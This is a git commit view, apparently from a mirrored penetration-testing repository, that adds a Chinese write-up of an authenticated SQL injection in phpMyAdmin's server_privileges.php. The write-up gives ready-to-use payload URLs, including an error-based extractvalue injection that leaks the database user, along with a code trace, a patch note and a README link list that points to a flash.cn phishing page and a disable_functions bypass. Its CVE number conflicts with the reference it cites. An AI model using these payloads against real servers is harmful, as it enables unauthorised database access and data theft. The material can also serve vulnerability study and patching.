mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2025-06-20 18:00:35 +00:00
add CVE-2020-0554:phpMyAdmin后台SQL注入
This commit is contained in:
parent
d0bbd085f8
commit
2926ad8648
87
CVE-2020-0554:phpMyAdmin后台SQL注入.md
Normal file
87
CVE-2020-0554:phpMyAdmin后台SQL注入.md
Normal file
@ -0,0 +1,87 @@
|
||||
**0x01 简介**
|
||||
|
||||
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。
|
||||
|
||||
**0x02 漏洞概述**
|
||||
|
||||
用户界面SQL执行语句存在可控变量,且未对可控参数进行过滤直接拼接。可造成低权限用户越权执行SQL指令。
|
||||
|
||||
**0x03 影响版本**
|
||||
|
||||
**前提:已知一个用户名密码**
|
||||
|
||||
phpMyAdmin 4 < 4.9.4
|
||||
|
||||
phpMyAdmin 5 < 5.0.1
|
||||
|
||||
**0x04 漏洞复现**
|
||||
|
||||
简单总结流程:
|
||||
|
||||
页面位置server_privileges.php;
|
||||
|
||||
设置变量ajax_requests为true;
|
||||
|
||||
设置变量validate_username 为真值;
|
||||
|
||||
设置变量username 为我们拼接的注入语句。
|
||||
|
||||
|
||||
|
||||
构造payload:
|
||||
|
||||
-
|
||||
|
||||
```
|
||||
http://192.168.209.139:8001/server_privileges.php?ajax_requests=true&validate_username=1&username=1%27or%201=1%20--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server
|
||||
```
|
||||
|
||||
|
||||
|
||||
(token和其余参数会在访问页面的时候自动提供)
|
||||
|
||||
我们查看后端收到的数据,可以看到SQL已经成功拼接。
|
||||
|
||||

|
||||
|
||||
执行完毕后程序只会告知SQL是否执行成功,失败会报错,因此此处我们可以利用报错注入。
|
||||
|
||||
构造payload:
|
||||
|
||||
-
|
||||
|
||||
```
|
||||
http://192.168.209.139:8001/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server
|
||||
```
|
||||
|
||||
结果如下,可以看到已经成功执行了我们注入的指令。
|
||||
|
||||

|
||||
|
||||
**0x05 漏洞分析**
|
||||
|
||||
定位到文件libraries/server_privileges.lib.php,此处就是SQL注入存在点,username和validate_username都可控,我们往上回溯定位if所在的函数。
|
||||
|
||||

|
||||
|
||||
可以看到if处于PMA_getExtraDataForAjaxBehavior函数内。下一步使用phpsotorm快捷键ctrl+B定位到触发此函数的点。
|
||||
|
||||

|
||||
|
||||
跳转到文件server_privileges.php可以看到$extra_data触发了此函数,处于一个if内,下一步快捷键ctrl+shift+F全局搜索变量is_ajax_request,看看是否可控让其为真值。
|
||||
|
||||

|
||||
|
||||
跳转到文件libraries/common.inc.php这里有可控变量ajax_request只要给它附true就可以返回true了。
|
||||
|
||||

|
||||
|
||||
**0x06 修复方式**
|
||||
|
||||
更新官方最新补丁
|
||||
|
||||
**参考链接:**
|
||||
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2020-5504
|
||||
|
||||
https://github.com/mai-lang-chai/Middleware-Vulnerability-detection/tree/master/phpMyadmin/CVE-2020-0554
|
@ -132,6 +132,7 @@
|
||||
- [Apache ActiveMQ 5.11.1目录遍历/ Shell上传](https://cxsecurity.com/issue/WLB-2020030033)
|
||||
- [CVE-2020-2555:WebLogic RCE漏洞POC](https://mp.weixin.qq.com/s/Wq6Fu-NlK8lzofLds8_zoA)
|
||||
- [CVE-2020-1947-Apache ShardingSphere UI YAML解析远程代码执行漏洞](https://github.com/jas502n/CVE-2020-1947)
|
||||
- [CVE-2020-0554:phpMyAdmin后台SQL注入](./CVE-2020-0554:phpMyAdmin后台SQL注入.md)
|
||||
|
||||
## 提权辅助相关
|
||||
|
||||
@ -249,7 +250,8 @@
|
||||
- [云业CMS(yunyecms)的多处SQL注入审计分析](./books/云业CMS(yunyecms)的多处SQL注入审计分析.pdf)|[原文地址](https://xz.aliyun.com/t/7302)|[官网下载地址](http://www.yunyecms.com/index.php?m=version&c=index&a=index)|[sqlmap_yunyecms_front_sqli_tamp.py](./tools/sqlmap_yunyecms_front_sqli_tamp.py)
|
||||
- [www.flash.cn 的钓鱼页,中文+英文](https://github.com/r00tSe7en/Fake-flash.cn)
|
||||
- [【PHP】bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail)](https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD)
|
||||
- [织梦全版本漏洞扫描](https://github.com/Mr-xn/dedecmscan)
|
||||
- [织梦dedecms全版本漏洞扫描](https://github.com/Mr-xn/dedecmscan)
|
||||
- [CVE、CMS、中间件漏洞检测利用合集 Since 2019-9-15](https://github.com/mai-lang-chai/Middleware-Vulnerability-detection)
|
||||
|
||||
## 书籍相关
|
||||
|
||||
|
BIN
img/49.png
Normal file
BIN
img/49.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 146 KiB |
BIN
img/50.png
Normal file
BIN
img/50.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 51 KiB |
BIN
img/51.png
Normal file
BIN
img/51.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 84 KiB |
BIN
img/52.png
Normal file
BIN
img/52.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 221 KiB |
BIN
img/53.png
Normal file
BIN
img/53.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 265 KiB |
BIN
img/54.png
Normal file
BIN
img/54.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 54 KiB |
Loading…
x
Reference in New Issue
Block a user